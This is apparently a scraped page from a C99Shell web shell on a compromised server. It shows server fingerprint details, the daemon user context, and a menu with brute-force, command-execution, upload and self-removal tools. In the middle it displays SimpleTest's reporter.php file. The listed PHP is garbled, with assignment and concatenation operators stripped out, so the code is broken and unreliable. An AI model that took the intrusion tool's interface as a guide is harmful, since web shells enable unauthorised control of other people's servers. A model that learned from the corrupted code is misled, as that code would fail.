!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/simpletest/   drwxr-xr-x
Free 14.79 GB of 61.93 GB (23.88%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     reporter.php (8.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
/**
     *    base include file for SimpleTest
     *    @package    SimpleTest
     *    @subpackage    UnitTester
     *    @version    $Id: reporter.php,v 1.33 2004/11/29 04:35:49 lastcraft Exp $
     */

    /**#@+
     *    include other SimpleTest class files
     */
    
require_once(dirname(__FILE__) . '/scorer.php');
    
/**#@-*/
    
    /**
     *    Sample minimal test displayer. Generates only
     *    failure messages and a pass count.
     *      @package SimpleTest
     *      @subpackage UnitTester
     */
    
class HtmlReporter extends SimpleReporter {
        var 
$_character_set;
        
        
/**
         *    Does nothing yet. The first output will
         *    be sent on the first test start. For use
         *    by a web browser.
         *    @access public
         */
        
function HtmlReporter($character_set 'ISO-8859-1') {
            
$this->SimpleReporter();
            
$this->_character_set $character_set;
        }
        
        
/**
         *    Paints the top of the web page setting the
         *    title to the name of the starting test.
         *    @param string $test_name      Name class of test.
         *    @access public
         */
        
function paintHeader($test_name) {
            
$this->sendNoCacheHeaders();
            print 
"<html>\n<head>\n<title>$test_name</title>\n";
            print 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=" .
                    
$this->_character_set "\">\n";
            print 
"<style type=\"text/css\">\n";
            print 
$this->_getCss() . "\n";
            print 
"</style>\n";
            print 
"</head>\n<body>\n";
            print 
"<h1>$test_name</h1>\n";
            
flush();
        }
        
        
/**
         *    Send the headers necessary to ensure the page is
         *    reloaded on every request. Otherwise you could be
         *    scratching your head over out of date test data.
         *    @access public
         *    @static
         */
        
static function sendNoCacheHeaders() {
            if (! 
headers_sent()) {
                
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
                
header("Last-Modified: " gmdate("D, d M Y H:i:s") . " GMT");
                
header("Cache-Control: no-store, no-cache, must-revalidate");
                
header("Cache-Control: post-check=0, pre-check=0"false);
                
header("Pragma: no-cache");
            }
        }
        
        
/**
         *    Paints the CSS. Add additional styles here.
         *    @return string            CSS code as text.
         *    @access protected
         */
        
function _getCss() {
            return 
".fail { color: red; } pre { background-color: lightgray; }";
        }
        
        
/**
         *    Paints the end of the test with a summary of
         *    the passes and failures.
         *    @param string $test_name        Name class of test.
         *    @access public
         */
        
function paintFooter($test_name) {
            
$colour = ($this->getFailCount() + $this->getExceptionCount() > "red" "green");
            print 
"<div style=\"";
            print 
"padding: 8px; margin-top: 1em; background-color: $colour; color: white;";
            print 
"\">";
            print 
$this->getTestCaseProgress() . "/" $this->getTestCaseCount();
            print 
" test cases complete:\n";
            print 
"<strong>" $this->getPassCount() . "</strong> passes, ";
            print 
"<strong>" $this->getFailCount() . "</strong> fails and ";
            print 
"<strong>" $this->getExceptionCount() . "</strong> exceptions.";
            print 
"</div>\n";
            print 
"</body>\n</html>\n";
        }
        
        
/**
         *    Paints the test failure with a breadcrumbs
         *    trail of the nesting test suites below the
         *    top level test.
         *    @param string $message    Failure message displayed in
         *                              the context of the other tests.
         *    @access public
         */
        
function paintFail($message) {
            
parent::paintFail($message);
            print 
"<span class=\"fail\">Fail</span>: ";
            
$breadcrumb $this->getTestList();
            
array_shift($breadcrumb);
            print 
implode(" -&gt; "$breadcrumb);
            print 
" -&gt; " $this->_htmlEntities($message) . "<br />\n";
        }
        
        
/**
         *    Paints a PHP error or exception.
         *    @param string $message        Message is ignored.
         *    @access public
         *    @abstract
         */
        
function paintException($message) {
            
parent::paintException($message);
            print 
"<span class=\"fail\">Exception</span>: ";
            
$breadcrumb $this->getTestList();
            
array_shift($breadcrumb);
            print 
implode(" -&gt; "$breadcrumb);
            print 
" -&gt; <strong>" $this->_htmlEntities($message) . "</strong><br />\n";
        }
        
        
/**
         *    Paints formatted text such as dumped variables.
         *    @param string $message        Text to show.
         *    @access public
         */
        
function paintFormattedMessage($message) {
            print 
'<pre>' $this->_htmlEntities($message) . '</pre>';
        }
        
        
/**
         *    Character set adjusted entity conversion.
         *    @param string $message    Plain text or Unicode message.
         *    @return string            Browser readable message.
         *    @access protected
         */
        
function _htmlEntities($message) {
            return 
htmlentities($messageENT_COMPAT$this->_character_set);
        }
    }
    
    
/**
     *    Sample minimal test displayer. Generates only
     *    failure messages and a pass count. For command
     *    line use. I've tried to make it look like JUnit,
     *    but I wanted to output the errors as they arrived
     *    which meant dropping the dots.
     *      @package SimpleTest
     *      @subpackage UnitTester
     */
    
class TextReporter extends SimpleReporter {
        
        
/**
         *    Does nothing yet. The first output will
         *    be sent on the first test start.
         *    @access public
         */
        
function TextReporter() {
            
$this->SimpleReporter();
        }
        
        
/**
         *    Paints the title only.
         *    @param string $test_name        Name class of test.
         *    @access public
         */
        
function paintHeader($test_name) {
            if (! 
SimpleReporter::inCli()) {
                
header('Content-type: text/plain');
            }
            print 
"$test_name\n";
            
flush();
        }
        
        
/**
         *    Paints the end of the test with a summary of
         *    the passes and failures.
         *    @param string $test_name        Name class of test.
         *    @access public
         */
        
function paintFooter($test_name) {
            if (
$this->getFailCount() + $this->getExceptionCount() == 0) {
                print 
"OK\n";
            } else {
                print 
"FAILURES!!!\n";
            }
            print 
"Test cases run: " $this->getTestCaseProgress() .
                    
"/" $this->getTestCaseCount() .
                    
", Passes: " $this->getPassCount() .
                    
", Failures: " $this->getFailCount() .
                    
", Exceptions: " $this->getExceptionCount() . "\n";
                    
        }
        
        
/**
         *    Paints the test failure as a stack trace.
         *    @param string $message        Failure message displayed in
         *                           the context of the other tests.
         *    @access public
         */
        
function paintFail($message) {
            
parent::paintFail($message);
            print 
$this->getFailCount() . ") $message\n";
            
$breadcrumb $this->getTestList();
            
array_shift($breadcrumb);
            print 
"\tin " implode("\n\tin "array_reverse($breadcrumb));
            print 
"\n";
        }
        
        
/**
         *    Paints a PHP error or exception.
         *    @param string $message        Message is ignored.
         *    @access public
         *    @abstract
         */
        
function paintException($message) {
            
parent::paintException($message);
            print 
"Exception " $this->getExceptionCount() . "!\n$message\n";
        }
        
        
/**
         *    Paints formatted text such as dumped variables.
         *    @param string $message        Text to show.
         *    @access public
         */
        
function paintFormattedMessage($message) {
            print 
"$message\n";
            
flush();
        }
    }
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.8264 ]--